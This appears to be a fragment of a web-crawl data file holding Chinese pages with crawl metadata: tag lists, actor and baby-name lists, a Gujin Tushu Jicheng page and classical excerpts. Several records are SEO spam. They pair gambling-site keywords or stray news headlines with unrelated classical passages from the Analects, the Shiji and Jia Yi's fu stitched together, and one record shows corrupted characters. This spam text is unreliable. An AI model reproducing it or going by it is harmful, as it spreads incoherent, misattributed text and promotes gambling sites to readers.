穿雲劍法 古龍作品 白萬劍 諸葛亮南征 十住大乘功 楚留香新傳之蝙蝠傳奇 魏晉玄學 涼州軍劫天子 五虎斷門刀 殭屍拳 萬物波動心法 玄氣大法 射鵰三部曲 郭馬之亂 呂母 關銀屏 鍾會 夏姬 驚魂六記 天地明環 不戒和尚 白阿繡 菩提心功 文泰來 史火龍 古墓派 靈犀一指 多情劍客無情劍 恆山派 鄧芝 馬超 大意失荊州 戰神圖錄 大元丹法 破精自絕大法 易京之戰 蛤蟆功 裘千仞 楊頂天 曹操迎天子 霍去病 倚天屠龍記 劉禪 狂沙刀法 方證大師 九玄大法 刀劍雙殺七七四十九式 摩尼教 袁承志 燕子三抄水 南匈奴 心佛掌 桃根仙 如意八打 馬大元 樂進 官渡之戰 空城計 常赫志 韋春花 孫皓暴政 遊俠錄 諸葛瞻 乾隆 金蛇劍 貂蟬 太清元功 蕭遠山 曹睿 曹休 竹節鞭 童子功十三太保橫練 雌雄雙股劍 蕭逸 神蛛凌空銀絲渡虛 風清揚 陳近南 飛狐外傳 崆峒派","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2019-04-23T12:14:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578602767.67\/warc\/CC-MAIN-20190423114901-20190423140901-00138.warc.gz","language":"lzh","language_score":0.5900553465,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900553464889526, \"nan_Hani_score\": 0.25269615650177, \"cmn_Hani_score\": 0.12175068259239197, \"yue_Hani_score\": 0.03296062722802162}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"澳门在线苹果新专利曝光环绕式多触摸屏的全玻璃iPhone\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n子张问行,子曰:\"言忠信,行笃敬,虽蛮貊之邦行矣;言不忠信,行不笃敬,虽州里行乎哉?立则见其参于前也;在舆则见其倚于衡也,夫然后行。\"子张书诸绅。\n太史公曰:诗有之:\"高山仰止,景行行止。\"虽不能至,然心乡往之。余读孔氏书,想见其为人。適鲁,观仲尼庙堂车服礼器,诸生以时习礼其家,余祗回留之不能去云。天下君王至于贤人众矣,当时则荣,没则已焉。孔子布衣,传十馀世,学者宗之。自天子王侯,中国言六艺者折中於夫子,可谓至圣矣!\n襄子弟桓子逐献侯,自立於代,一年卒。国人曰桓子立非襄子意,乃共杀其子而复迎立献侯。\n後十三年,鲁贼臣阳虎来奔,赵简子受赂,厚遇之。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/mobile.ycfxl.com\/odp16\/73472.html","date":"2020-02-22T06:27:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145654.0\/warc\/CC-MAIN-20200222054424-20200222084424-00300.warc.gz","language":"lzh","language_score":0.4357525706,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4357525706291199, \"cmn_Hani_score\": 0.40672948956489563, \"nan_Hani_score\": 0.021057305857539177, \"yue_Hani_score\": 0.01850157044827938, \"zxx_Latn_score\": 0.01848401501774788, \"jpn_Jpan_score\": 0.01637633517384529, \"wuu_Hani_score\": 0.01458316296339035, \"und_Tang_score\": 0.012133748270571232}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.176,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.406,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n吳卓羲 陳鍵鋒 元華 羅莽 盧宛茵 高俊文 簡慕華 蓋鳴暉 曾偉權 蘇玉華 劉桂芳 曾慧雲 李海生 郭鋒 曹敏莉 祝文君 李岡龍 林敬剛 鄭家生 駱達華 陳榮峻 陳勉良 陳穎妍 林影紅 遊飆 郭卓樺 李家鼎 蔡國慶 羅君左 何啓南 郭德信 戴耀明 鄭俊弘 王俊棠 梁競徽 麥嘉倫 古明華 潘冠霖 楊嘉諾 黃鳳瓊 趙靜儀 凌禮文 陸駿光 張漢斌 魏惠文 趙永洪 李啓傑 邵卓堯 霍健邦 廖麗麗 陳念君 蘇恩磁 丁主惠 趙樂賢 徐榮 何綺雲 沈可欣 王維德 彭皓鋒 林遠迎 殷櫻 葉凱茵 羅泳嫺 李麗麗 蕭徽勇 鄭\n張振朗 蔡思貝 楊明 鄧佩儀 湯洛雯 許家傑 楊玉梅 黃建東 陳偉洪 袁鎮業 李日升 葉凱茵 蘇恩磁 關禮傑 潘志文 魯振順 黃子恆 王梓軒 吳家樂 黎振燁 朱敏瀚 楊證樺 冼灝英 何啓南 姚浩政 崔錦棠 趙樂賢 蔡國威 李善恆 劉天龍 江富強 衛志豪 劉嘉琪 楊嘉欣 張雪瑩 何依婷 賴慰玲 泰臣 孫慧雪 陳嘉輝 劉溫馨 王綺琴 程可爲 林敬剛 陳榮峻 陳建文 姚瑩瑩 曾慧雲 楊家寶 林宥喬 曾健明 李麗霞 鄭詠謙 方紹聰 鄭健樂 岑杏賢 莊思明 李漫芬 潘冠霖 李興華 唐嘉麟 郭千瑜 周麗欣 莫偉文 吳\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 周梓盈 陳靖雲 譚偉權 秦啓維 張漢斌 衛志豪 鄭詠謙 李海生 林敬剛 趙樂賢 楊證樺 曾健明 司徒暉 陳榮峻 盧峻峯 易智遠 方紹聰 謝可逸 黃耀煌 蕭凱欣 梁雯蔚 鄧英敏 黃建東 鄭恕峯 莫家淦 曾琬莎 李忠希 關浩揚\n李思捷 陳智燊 黃智雯 趙希洛 陳煒 古明華 孫慧雪 布偉傑 張名雅 陳家良 沈可欣 徐玟晴 蘇麗明 周梓盈 劉嘉琪 魯振順 林景程 潘志文 蘇恩磁 譚坤倫 林秀怡 利穎怡 李成昌 潘芳芳 潘冠霖 羅梓龍 陳偲穎 陳柏熹 張明偉 陳庭欣 王致迪 楊證樺 黃穎君 錢悅 田宇軒 鄭耀軒 吳綺珊 張雪瑩 林淑敏 方紹聰 張彥博 李晉強 張本立 周嘉洛 招浩明 吳偉豪 朱樂洺 吳嘉儀 李漫芬 趙樂賢 李日升 羅利期 羅莽 容天佑 陳珈穎 曾慧雲 邵卓堯 煒烈 張漢斌 陳偉琪 麥皓兒 周麗欣 郭田葰 曾健明 曹思詩\n陳錦鴻 宣萱 王傑 盧海鵬 呂珊 李思捷 唐詩詠 陳思齊 駱應鈞 陳嘉儀 江漢 梁舜燕 李施嬅 羅蘭 鄧健泓 鍾志光 羅君左 沈可欣 李啓傑 趙樂賢 何婷恩 張達倫 袁彩雲 黃紀瑩 孫季卿 凌禮文 遊飆 蘇恩磁 陳山聰 曾守明 曾慧雲 簡慕華 彭皓鋒 廖麗麗 蘇敏聰 鄭世豪 葉凱茵 何俊軒 張漢斌 賀文傑 陳安瑩 李岡龍 溫裕紅 林淑敏 李日升 林遠迎 李霖恩 郭卓樺\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n陳松伶 陳煒 黃智賢 徐榮 江嘉敏 陳瀅 餘德丞 林韋辰 楊卓娜 鄭敬基 盧宛茵 程可爲 邵卓堯 徐玟晴 陳榮峻 譚永浩 吳珮如 張漢斌 遊莨維 曾健明 區靄玲 魏惠文 易智遠 戴耀明 關梓陽 李興華 杜大偉 黃得生 範仲恆 莊思明 吳香倫 趙樂賢 湯俊明 陳俊堅 陳嘉輝 沈可欣 吳瑞庭 楊證樺 吳嘉儀 潘冠霖 布偉傑 譚偉權 黃穎君 梁雯蔚 莫家淦 周寶霖\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E8%B6%99%E6%A8%82%E8%B3%A2------------.html","date":"2020-09-23T23:29:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400212959.12\/warc\/CC-MAIN-20200923211300-20200924001300-00652.warc.gz","language":"lzh","language_score":0.8577687144,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.857768714427948, \"nan_Hani_score\": 0.08837724477052689, \"cmn_Hani_score\": 0.04980240762233734}","num_words":407,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.864,"perplexity_score":500.0,"cluster_detection":1} +{"text":"旬陽福連升老北京布鞋、休閑鞋品牌加盟店信息和旬陽鞋店加盟方法介紹。\n拉薩 西藏 山東 聊城 安康 旬陽 陜西 四川 巴中 河北 唐山 浙江 杭州 江西 新余 延安 湖南 長沙 湖州 訂貨會 廣東 河源 青海 玉樹 婁底 溫州 江蘇 泰州 承德 廊坊","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/www.nikanrescorp.com\/tags.php?\/595\/","date":"2022-05-17T20:28:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662520817.27\/warc\/CC-MAIN-20220517194243-20220517224243-00504.warc.gz","language":"lzh","language_score":0.8773463964,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.877346396446228, \"nan_Hani_score\": 0.0771130621433258, \"cmn_Hani_score\": 0.03502669557929039}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.877,"perplexity_score":500.0,"cluster_detection":1} +{"text":"乐虎继淡马锡后新加坡最大房地产开发商宣布冻结薪酬\n子曰:\"谁能出不由户?何莫由斯道也?\"\n汉五年,布使人入九江,得数县。六年,布与刘贾入九江,诱大司马周殷,周殷反楚,遂举九江兵与汉击楚,破之垓下。\n其於乡党,恂恂似不能言者。其於宗庙朝廷,辩辩言,唯谨尔。朝,与上大夫言,訚訚如也;与下大夫言,侃侃如也。\n去,过宋。宋襄公新困兵於楚,伤於泓,闻重耳贤,乃以国礼礼於重耳。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/jctys.sarl-nelcy.com\/oppo\/SHMBS87528.html","date":"2020-02-26T21:51:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146562.94\/warc\/CC-MAIN-20200226211749-20200227001749-00531.warc.gz","language":"lzh","language_score":0.6082675457,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6082675457000732, \"cmn_Hani_score\": 0.27509790658950806, \"nan_Hani_score\": 0.03515348583459854, \"yue_Hani_score\": 0.013545149005949497}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.567,"perplexity_score":500.0,"cluster_detection":1} +{"text":"不可為於不可為之時則凶。夫藺先生收功於章臺, 四皓采榮於南山,公孫創業於金馬,驃騎發跡於祁 連,司馬長卿竊訾於卓氏,東方朔割名於細君。僕誠 不能與此數子者並,故默默獨守吾《太元》。\n解難 前人\n客《難揚子》曰:「凡著書者,為眾人之所好也,美味期乎 合口,工聲調於比耳。今吾子乃抗辭幽說,閎意眇指, 獨馳騁於有亡之際,而陶冶大鑪,旁薄群生,歷覽者 茲年矣,而殊不寤亶費精神於此,而煩學者於彼。譬 畫者畫於無形,弦者放於無聲,殆不可乎?」揚子曰:「俞。 若夫閎言崇議幽微之塗,蓋難與覽者同也。昔人有」 觀象於天,視度於地,察法於人者。天麗且彌,地普而 深。昔人之辭,迺玉迺金,彼豈好為艱難哉?勢不得已 也。獨不見夫翠虯絳螭之將登虖天,必聳身於蒼鷹 之淵,不階浮雲,翼疾風虛,舉而上升,則不能撠膠葛, 騰九閎;日月之經不千里,則不能燭六合,耀八紘。泰 山之高不嶕嶢,則不能浡滃雲而散「歊烝。」是以宓犧 氏之作《易》也,綿絡天地,經以八卦,文王附六爻,孔子 錯其象而彖其辭。然後發天地之藏,定萬物之基。典 謨之篇,《雅》《頌》之聲,不溫純深潤,則不足以揚鴻烈而 章緝熙。蓋胥靡為宰,寂寞為尸;大味必淡,大音必希, 大語叫叫,大道低回。是以聲之眇者,不可同於眾人 之耳;形之美者,不可混於世俗之目;辭之衍者,不可 齊於庸人之聽。今夫絃者,高張急徽,追趨逐耆,則坐 者不期而附矣。試為之施《咸池》榆六莖,發《簫韶》,詠九 成,則莫有和也。是故鍾期死,伯牙絕絃破琴,而不肯 與眾鼓;獿人亡,則匠石輟斤,而不敢妄斲。師曠之調 鐘,竢知音者之在後也;孔子作《春秋》,幾君子之前睹 也。老聃有遺言,「貴知我者希。」此非其操與?\n《遂初賦》〈有序〉劉歆\n《遂初賦》者,劉歆所作也。歆少通詩書,能屬文,成帝召為黃門侍郎,中壘校尉,侍中,奉車都尉,光祿大夫。歆好《左氏春秋》,欲立於學官,時諸儒不聽,歆乃移書太常博士,責讓深切。為朝廷大臣非疾求出,補吏為河內太守。又以宗室不宜典三河,徙五原太守。是時朝政已多失矣,歆以論議見排擯志,竟不得之官。經歷故晉之域,感今思古,遂作斯賦,以歎往事,而寄己意。\n「昔遂初之顯祿兮,遭閶闔之開通。蹠三台而上征兮, 入北辰之紫宮。侍列宿於鉤陳兮,擁太常之樞極。總 六龍於駟房兮,奉華蓋於帝側。惟太階之侈闊兮,機 衡為之難運。懼魁杓之前後兮,遂隆集於河濱。遭陽 侯之豐沛兮,乘素波以聊戾。得元武之嘉兆兮,守五 原之烽燧。二乘駕而既俟,僕夫期而在涂。馳太行之」 嚴防兮,入天井之喬關。歷岡岑以升降兮,馬龍騰以 起攄。舞雙駟以優游兮,濟黎侯之舊居。心滌蕩以慕 遠兮,迴高都而北征。劇強秦之暴虐兮,弔趙括於長 平。好周文之嘉德兮,躬尊賢而下士。駕四馬而觀風 兮,慶辛甲於長子。哀衰周之失權兮,數困辱而莫扶。 執孫蒯於屯留兮,救王師於余吾。過《下虒》而歎息兮, 悲平公之作臺。背宗周而不卹兮,苟偷樂而情怠。枝 葉落而不省兮,公族閴其無人。曰不悛而愈甚兮,政 委棄於家門。載約屨而正朝服兮,降皮弁以為履。寶 礫石於廟堂兮,面隋和而不視。始建衰而造亂兮,公 室繇此遂卑。憐後君之寄寓兮,唁靖公之銅鞮。越侯 田而長驅兮,釋叔向之飛患。悅善人之有救兮,勞祁 奚於太原。何叔子之好直兮,為群邪之所惡。賴祁子 之一言兮,幾不免乎徂落。雙美不必為偶兮,時有羞 而不相及。雖韞寶而求價兮,嗟千載其焉合?昔仲尼 之淑聖兮,竟隘窮乎陳蔡。彼屈原之貞專兮,卒放沉 於湘淵。何方直之難容兮,柳下黜而三辱。蘧瑗抑而 再奔「兮,豈材知之不足。」揚蛾眉而見妒兮,固醜女之 情也。曲木惡直繩兮,亦小人之誠也。以夫子之博觀 兮,何此道之必然。空下時而矔世兮,自命己之取患。 悲積習之生常兮,固明智之所別。叔群既在皁隸兮, 六卿興而為桀。荀寅肆而顓恣兮,吉射叛而擅兵。憎 人臣之若茲兮,責趙鞅於晉陽。軼中國之「都邑兮,登 句注以陵厲。歷鴈門而入雲中兮,超絕轍而遠逝。濟 臨沃而遙思兮,忽垂意乎邊都。埜蕭條以寥廓兮,陵 谷錯以盤紆。飄寂寥以荒昒兮,沙埃起而杳冥。迴風 育其飄忽兮,迴颭颭之泠泠。薄涸凍之凝滯兮,茀谿 谷之清涼。漂積雪之皚皚兮,涉凝露之隆霜。揚雹霰 之復陸兮,慨原泉之凌陰。」激流澌之漻淚兮,窺九淵 之潛淋。颯悽愴以慘怛兮,慼風漻以冽寒。獸望浪以 穴竄兮,鳥脅翼之浚浚。山蕭瑟以鶤鳴兮,樹木壞而 哇唫。地坼裂而憤急兮,巨石破之《喦喦》。天烈烈以厲 高兮,廖窗以梟牢。鴈邕邕以遲遲兮,埜鸛鳴而嘈 嘈。望亭隧之皦皦兮,飛旗幟之翩翩。回百里之無家 兮,路修遠之綿綿。於是勒障塞而固守兮,奮武靈之 精誠。攄趙奢之策慮兮,威謀完乎金城。外折衝以無 虞兮,內撫民以永寧。既邕容以自得兮,唯惕懼於竺","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/zh.m.wikisource.org\/wiki\/Page:Gujin_Tushu_Jicheng,_Volume_390_(1700-1725).djvu\/4","date":"2020-08-13T12:42:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738982.70\/warc\/CC-MAIN-20200813103121-20200813133121-00427.warc.gz","language":"lzh","language_score":0.6260876656,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6260876655578613, \"cmn_Hani_score\": 0.22813178598880768, \"nan_Hani_score\": 0.10949628055095673}","num_words":75,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.192,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.4,"perplexity_score":500.0,"cluster_detection":1} +{"text":"周伯仁風德雅重,深達危亂。過江積年,恒大飲酒。嘗經三日不醒,時人謂之\"三日仆射\"。\n聘射之禮,至大禮也。質明而始行事,日幾中而后禮成,非強有力者弗能行也。故強有力者,將以行禮也。酒清,人渴而不敢飲也;肉干,人饑而不敢食也;日莫人倦,齊莊正齊,而不敢解惰。以成禮節,以正君臣,以親父子,以和長幼。此眾人之所難,而君子行之,故謂之有行;有行之謂有義,有義之謂勇敢。故所貴于勇敢者,貴其能以立義也;所貴于立義者,貴其有行也;所貴于有行者,貴其行禮也。故所貴于勇敢者,貴其敢行禮義也。故勇敢強有力者,天下無事,則用之于禮義;天下有事,則用之于戰勝。用之于戰勝則無敵,用之于禮義則順治;外無敵,內順治,此之謂盛德。故圣王之貴勇敢強有力如此也。勇敢強有力而不用之于禮義戰勝,而用之于爭斗,則謂之亂人。刑罰行于國,所誅者亂人也。如此則民順治而國安也。\n居喪之禮,毀瘠不形,視聽不衰。升降不由阼階,出入不當門隧。居喪之禮,頭有創則沐,身有瘍則浴,有疾則飲酒食肉,疾止復初。不勝喪,乃比于不慈不孝。五十不致毀,六十不毀,七十唯衰麻在身,飲酒食肉,處于內。生與來日,死與往日。知生者吊,知死者傷。知生而不知死,吊而不傷;知死而不知生,傷而不吊。吊喪弗能賻,不問其所費。問疾弗能遺,不問其所欲。見人弗能館,不問其所舍。賜人者不曰來取。與人者不問其所欲。適墓不登壟,助葬必執紼。臨喪不笑。揖人必違其位。望柩不歌。入臨不翔。當食不嘆。鄰有喪,舂不相。里有殯,不巷歌。適墓不歌??奕詹桓?。送喪不由徑,送葬不辟涂潦。臨喪則必有哀色,執紼不笑,臨樂不嘆;介胄,則有不可犯之色。。","id":"","dump":"CC-MAIN-2022-40","url":"http:\/\/www.comcblog.com\/news\/2022-06-12\/t64074_6675.html","date":"2022-09-27T13:21:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030335034.61\/warc\/CC-MAIN-20220927131111-20220927161111-00769.warc.gz","language":"lzh","language_score":0.5436779857,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5436779856681824, \"cmn_Hani_score\": 0.37530139088630676, \"nan_Hani_score\": 0.04456328973174095, \"wuu_Hani_score\": 0.016025234013795853}","num_words":3,"character_repetition_ratio":0.006,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.661,"perplexity_score":500.0,"cluster_detection":1} +{"text":"好听的男孩名字:\n国豪 浩玮 锦标 文标 昌曲 弘磊 智毅 晋岳 云龙 睿思 宇欢 言信 涛阳 棋翰 实新 淘沙 秀楠 阳诚 菲鸿 辉翰 智文 冠益 文云 俊欧 韵舟 翰畅 苑霖 鼎欢 亦雄 昊松 龙德 达强 杰瀚 雨鹤 明杰 圣杰 雨国 智鹤 远瑞 昌裕 桦远 柏吉 远胜 全智 松原 志欧 德润 涛图 晴云 晓铭 哲瑾 博南 棋轩 依博 满杉 博奥 展鹏 玮旭 玮翰 鸿震 伟诚 弘江 旭磊 桦叶 泰杭 棋依 展佑 宇恒 棋震 雪理 棋拓 旭遥 泽春 曲阜 秀邦 修远 杰凯 易安 君凡 泽易 棋辰 鼎海 浩新 文帆 文清 永图 元良 羽明 桦楠 彬皓 智新 昌宁 荣钦 荣尚 泽文 高远 岩鹤 天雨 辰逸 涛聪 彬茂 志盛 杰信 鸿文 弘韵 翰林 泽庭 海杉 新明 泽鸿 海尊 展龙 风睿 博仁 博青 博欧 荣楷 泽盛 文树 文栋 展毅 伯舟 文月 晋智 博昌 泰润 文乔 智浩 风震 浩轩 杰鹤 幽恒 文翎 睿鼎 韵名 煜祺 智鸿 博超 弘光 晓诚 岸青 布苛 旭浩 弘国 德烟 彬释 文岩 瀚曲 志邦 桦沙 月松 翰庭 俊轩 远龙 星羽 玮豪 翰棋 菲博 翰瑞 泽望 瀚帆 世璋 彬翔 元享 晋国 泽仁 弘涛 博全 星运 德闻 宇瀚 棋励 浩国 智城 泽义 圣楠 野瀚 莫闲 圣毅 博睿 德琦 弘伟 强翱 城名 德韵 德石 鼎勋 博鹤 弘星 哲鹤 晋茂 志鹤 旭桦 文林 柏云 文振 文义 智翰 恒德 俊绍 智月 博靖 智哲 桦君\n好听的女孩名字:\n靖瑶 惠慕 冰昕 梦瑶 嘉祺 梦洁 绿春 凤敏 紫蓝 语凤 子悦 雅雪 依丹 曼茵 碧欢 淑颖 碧桃 小苗 韵佳 乐安 辛夷 向珊 甜青 玉茹 新惠 美娟 莺璇 迎柏 菲倩 曦冰 丹丹 缘绿 梦晴 昕茹 紫丝 馥嫣 筱雅 宇然 欣怡 江萍 如松 韵雁 含海 萱雯 珊荷 倩文 欣苗 冰凝 瑶枝 蔡璇 雨翼 晓绿 江蓉 怀蝶 菱醉 海瑾 绿夏 欣新 昕敏 依莲 倩雪 家欣 怡婷 曼忆 岚菱 婉泽 可青 艾嘉 璐烟 冰兰 雨雪 幻柏 菲香 丝雨 茹雪 素莉 新佳 语珊 涵珊 清莲 晓玉 丹玉 盼兰 杨静 如春 冰露 紫雪 琼霎 瑶裳 心妍 亦玉 若汐 心韵 纹青 虞秀 芸海 欣月 燕婷 宇琴 清月 晓瑶 盈梦 初夏 梦雅 冰雪 水月 欣慧 晓迪 梨凌 诗语 嘉芮 涵柏 万林 云柏 露莹 笑怡 敏熙 馨琦 静雅 诗意 水云 纹玉 菲霞 珊琪 莹洁 梦婷 曼荷 彦桐 冰冰 静芙 夏柳 笑雅 文旗 诗蕾 思瑶 妙君 觅双 兰芝 逸菲 蝶缦 雪茹 伊雯 悦慧 玉妃 云佳 依美 采菡 嘉钰 静茹 万莲 桑依 容海 蓓贝 依悦 夏彤 王玥 紫霜 雨绮 茜熙 雁真 映真 江花 欣桐 佳娜 萱雁 绿莲 怡静 佳蓉 一诺 雪青 月珊 庆贞 灵薇 惜茵 紫宁 碧芷 可馨 万云 青烟 雨薇 安宁 雪雁 芊黛 思贝 昕玉 靖雁 佳琳 林琳 冰钰\n关注我们的头条号,点击底部\"宝宝起名\",给宝宝起个满意的名字!\n请点击下面「了解更多」按钮,查看更多好名字。\n如若转载,请注明出处:https:\/\/www.zhaoshango.com\/51131.html","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.zhaoshango.com\/51131.html","date":"2023-03-26T19:08:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296946445.46\/warc\/CC-MAIN-20230326173112-20230326203112-00469.warc.gz","language":"lzh","language_score":0.5491706133,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5491706132888794, \"cmn_Hani_score\": 0.3684515357017517, \"nan_Hani_score\": 0.04786907136440277, \"jpn_Jpan_score\": 0.015786651521921158, \"yue_Hani_score\": 0.010152759961783886}","num_words":398,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.325,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.621,"perplexity_score":500.0,"cluster_detection":1} +{"text":"恒彩88最新登录网站道达投资手记A股探底回升担忧情绪缓和\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n七年,晋使随会灭赤狄。\n惠公三十年,晋人弑其君昭侯。四十五年,晋人又弑其君孝侯。\n天命叔虞,卒封於唐。桐珪既削,河、汾是荒。文侯虽嗣,曲沃日彊。未知本末,祚倾桓庄。献公昏惑,太子罹殃。重耳致霸,朝周河阳。灵既丧德,厉亦无防。四卿侵侮。晋祚遽亡。\n郦生入,揖沛公曰:\"足下甚苦,暴衣露冠,将兵助楚讨不义,足不何不自喜也?臣原以事见,而曰'吾方以天下为事,未暇见儒人也'。夫足下欲兴天下之大事而成天下之大功,而以目皮相,恐失天下之能士。且吾度足下之智不如吾,勇又不如吾。若欲就天下而不相见,窃为足下失之。\"沛公谢曰:\"乡者闻先生之容,今见先生之意矣。\"乃延而坐之,问所以取天下者。郦生曰:\"夫足下欲成大功,不如止陈留。陈留者,天下之据旻也,兵之会地也,积粟数千万石,城守甚坚。臣素善其令,原为足下说之。不听臣,臣请为足下杀之,而下陈留。足下将陈留之众,据陈留之城,而食其积粟,招天下之从兵;从兵已成,足下横行天下,莫能有害足下者矣。\"沛公曰:\"敬闻命矣。\"","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/we3a1.whxccl.com\/cjshf\/266178.html","date":"2020-03-31T20:06:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370503664.38\/warc\/CC-MAIN-20200331181930-20200331211930-00455.warc.gz","language":"lzh","language_score":0.4491078854,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4491078853607178, \"cmn_Hani_score\": 0.42326822876930237, \"nan_Hani_score\": 0.03006679192185402, \"wuu_Hani_score\": 0.026964688673615456, \"yue_Hani_score\": 0.011880028061568737, \"jpn_Jpan_score\": 0.011484310030937195}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.343,"perplexity_score":500.0,"cluster_detection":1} 